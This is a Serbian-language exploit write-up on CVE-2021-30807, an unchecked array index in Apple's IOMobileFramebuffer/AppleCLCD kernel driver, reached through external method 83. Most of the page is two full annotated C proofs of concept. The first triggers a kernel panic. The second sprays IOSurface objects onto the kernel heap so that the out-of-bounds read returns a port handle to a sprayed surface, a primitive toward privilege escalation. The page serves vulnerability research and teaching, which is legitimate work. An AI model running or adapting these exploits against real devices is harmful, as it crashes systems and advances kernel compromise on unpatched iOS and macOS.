CVE-2021-30807: IOMobileFrameBuffer OOB

Reading time: 10 minutes

Ranljivost

Imate odlično objašnjenje ranjivosti ovde, ali ukratko:

• Ranjiva putanja koda je external method #83 od IOMobileFramebuffer / AppleCLCD user client-a: IOMobileFramebufferUserClient::s_displayed_fb_surface(...). Ova metoda prima parametar koji je kontrolisan od strane korisnika, koji nije ni na koji način proveravan i koji se prosleđuje sledećoj funkciji kao scalar0.

• Ta metoda prosleđuje u IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0), gde se scalar0 (korisnički kontrolisana 32-bitna vrednost) koristi kao indeks u interni niz pokazivača bez bilo kakve provere granica:

ptr = *(this + 0xA58 + scalar0 * 8); → passed to IOSurfaceRoot::copyPortNameForSurfaceInTask(...) as an IOSurface*.
Rezultat: OOB čitanje pokazivača i type confusion nad tim nizom. Ako pokazivač nije validan, kernel deref panikuje → DoS.

DoS PoC

Sledeći je inicijalni DoS PoC iz originalnog blog posta sa dodatnim komentarima:

// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;

// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;

// 1) Locate the IOMobileFramebuffer service in the IORegistry.
//    This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));

if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}

printf("service: 0x%x\n", service);

// 2) Open a connection (user client) to the service.
//    The user client is what exposes external methods to userland.
//    'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}

printf("client: 0x%x\n", shared_user_client_conn);

printf("call externalMethod\n");

// 3) Prepare input scalars for the external method call.
//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
//    We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup

// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;

printf("call s_default_fb_surface\n");

// 5) Invoke external method #83.
//    On vulnerable builds, this path ends up calling:
//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
//      which uses our index to read a pointer and then passes it as IOSurface*.
//    If the pointer is bogus, IOSurface code will dereference it and the kernel
//    will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83,                 // **Selector 83**: vulnerable external method
scalars, 1,         // input scalars (count = 1; the OOB index)
NULL, 0,            // no input struct
output_scalars, &output_scalars_size,  // optional outputs
NULL, NULL);        // no output struct

// 6) Check the call result. On many vulnerable targets, you'll see either
//    KERN_SUCCESS right before a panic (because the deref happens deeper),
//    or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}

printf("external method returned KERN_SUCCESS\n");

// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}

Arbitrary Read PoC - objašnjenje

1. Otvaranje pravog user client-a

• get_appleclcd_uc() pronalazi AppleCLCD service i otvara user client type 2. AppleCLCD i IOMobileFramebuffer dele istu external-methods table; type 2 izlaže selector 83, ranjivu metodu. Ovo je vaš ulaz u bag. E_POC/)

Zašto je 83 bitan: dekompajlirana putanja je:

• IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
  → IOMobileFramebufferUserClient::get_displayed_surface(...)
  → IOMobileFramebufferLegacy::get_displayed_surface(...)
  Unutar tog poslednjeg poziva, kod koristi vaš 32-bitni scalar kao indeks niza bez provere granica, dohvaća pokazivač sa this + 0xA58 + index*8, i prosleđuje ga kao IOSurface* u IOSurfaceRoot::copyPortNameForSurfaceInTask(...). To je OOB + type confusion.

2. The heap spray (zašto se IOSurface pojavljuje ovde)

• do_spray() koristi IOSurfaceRootUserClient da kreira mnogo IOSurface-ova i za spray small values (s_set_value stil). Ovo popunjava obližnje kernel heaps pokazivačima na validne IOSurface objekte.

• Cilj: kada selector 83 čita preko legitimne tabele, OOB slot verovatno sadrži pokazivač na jedan od vaših (pravih) IOSurfaces — pa kasnije dereferenciranje ne puca i uspeva. IOSurface je klasična, dobro dokumentovana kernel spray primitiva, i Saar-ov post eksplicitno navodi metode create / set_value / lookup koje se koriste u ovom exploatacionom toku.

3. Trik "offset/8" (šta je taj indeks zapravo)

• U trigger_oob(offset), postavljate scalars[0] = offset / 8.

• Zašto deliti sa 8? Kernel radi base + index*8 da izračuna koju slot veličine pokazivača da pročita. Birate "broj slot-a N", a ne bajt-offset. Osam bajtova po slotu na 64-bit.

• Računata adresa je this + 0xA58 + index*8. PoC koristi veliku konstantu (0x1200000 + 0x1048) jednostavno da krene daleko izvan granica u region koji ste pokušali da gusto popunite sa IOSurface pokazivačima. Ako the spray "wins", slot koji pogodite je validan IOSurface*.

4. Šta selector 83 vraća (ovo je suptilan deo)

• Poziv je:

IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o

• Interno, nakon OOB dohvaćanja pokazivača, driver poziva
  IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*).

• Rezultat: output_scalars[0] je Mach port name (u32 handle) u vašoj task za bilo koji objekat pokazivača koji ste dostavili preko OOB. To nije raw kernel address leak; to je userspace handle (send right). Ovo tačno ponašanje (kopiranje port name) je prikazano u Saar-ovoj dekompilaciji.

Zašto je ovo korisno: sa port name za (navodni) IOSurface, sada možete koristiti IOSurfaceRoot methods kao:

• s_lookup_surface_from_port (method 34) → pretvara port u surface ID kojim možete dalje da upravljate kroz druge IOSurface pozive, i

• s_create_port_from_surface (method 35) ako vam treba obrnuti postupak.
  Saar navodi ove tačne metode kao sledeći korak. PoC dokazuje da možete "manufacture" legitimni IOSurface handle iz OOB slota. Saaramar

Ovaj PoC je preuzet odavde i dodati su neki komentari da objasne korake:

#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);

// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;

// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐

// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;

io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}

// Call external method 83. Internally:
//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);

if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
return 0;
}

// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}

// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}

// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200,   // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}

int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}

printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");

// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}

Reference

• Original writeup by Saar Amar
• Exploit PoC code
• Research from jsherman212